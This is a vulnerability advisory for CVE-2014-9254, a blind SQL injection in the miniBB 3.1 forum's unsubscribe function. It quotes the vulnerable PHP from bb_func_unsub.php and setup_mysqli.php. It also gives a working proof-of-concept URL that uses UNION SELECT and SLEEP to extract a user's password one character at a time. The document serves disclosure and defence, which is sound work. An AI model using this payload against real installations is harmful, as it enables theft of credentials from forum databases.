miniBB 3.1 Blind SQL Injection

Homepage:

http://www.minibb.com/

CVE-ID

CVE-2014-9254

CVSS Score

5

CVSS Vector

(AV:N/AC:L/Au:N/C:P/I:N/A:N)

Description:

preg_match() only check if $_GET['code'] contains at least one letter or digit (missing ^ and $ inside regexp).

It should check if it contains only digits and letters.

File: bb_func_unsub.php

$usrid=(isset($_GET['usrid'])?$_GET['usrid']+0:0);

$allowUnsub=FALSE;
$chkCode=FALSE;

if(isset($_GET['code']) and preg_match("#[a-zA-Z0-9]+#", $_GET['code'])){
//trying to unsubscribe directly from email
$chkField='email_code';
$chkVal=$_GET['code'];
$userCondition=TRUE;
$chkCode=TRUE;
}
else{
//manual unsubsribe
$chkField='user_id';
$chkVal=$user_id;
$userCondition=($usrid==$user_id);
}

if ($topic!=0 and $usrid>0 and $userCondition and $ids=db_simpleSelect(0, $Ts, 'id, user_id', 'topic_id', '=', $topic, '', '', $chkField, '=', $chkVal)) {

$finalAllow=( ($chkCode and $ids[1]==$usrid) OR (!$chkCode and $user_id==$usrid) );

$op=0;
if($finalAllow) $op=db_delete($Ts,'id','=',$ids[0]);

if ($op>0) {
$errorMSG=$l_completed; $title.=$l_completed;
}

else {
$title.=$l_itseemserror; $errorMSG=$l_itseemserror;
}

}

So we have Blind SQL Injection inside db_simpleSelect because $chkVal is not escaped.

File: setup_mysqli.php

function db_simpleSelect($sus,$table='',$fields='',$uniF='',$uniC='',$uniV='',$orderby='',$limit='',$uniF2='',$uniC2='',$uniV2='',$and2=true,$groupBy=''){
if(!$sus){
$where='';
if($uniF!='') $where=' WHERE '.$uniF.$uniC."'".$uniV."'";
if($uniF2!='') {
$q=(substr_count($uniV2,'.')>0?'':"'");
$a=($and2?'AND':'WHERE');
$where.=' '.$a.' '.$uniF2.$uniC2.$q.$uniV2.$q;
}
if($limit!='') $limit='limit '.$limit;
if($orderby!='') $orderby='order by '.$orderby;
if($groupBy!='') $groupBy='group by '.$groupBy;
$xtr=(!isset($GLOBALS['xtr'])?'':$GLOBALS['xtr']);
$sql='SELECT '.$fields.' FROM '.$table.$where.' '.$xtr.' '.$groupBy.' '.$orderby.' '.$limit;
$result=mysqli_query($GLOBALS['mysqlink'], $sql);
if($result) {
$GLOBALS['countRes']=mysqli_num_rows($result);
$GLOBALS['result']=$result;
}
}
if(($sus==1||(isset($result)&&$result))&&isset($GLOBALS['countRes'])&&$GLOBALS['countRes']>0)  return mysqli_fetch_row($GLOBALS['result']);
else return FALSE;
}

Proof of Concept:

http://minibb-url/index.php?action=unsubscribe&usrid=1&topic=1&code=test' UNION SELECT 1, IF(substr(user_password,1,1) = CHAR(99), SLEEP(5), 0) FROM minibbtable_users WHERE user_id = 1 AND username != '

This SQL will check if first password character user ID=1 is ā€œcā€.

If yes, it will sleep 5 seconds.

Timeline: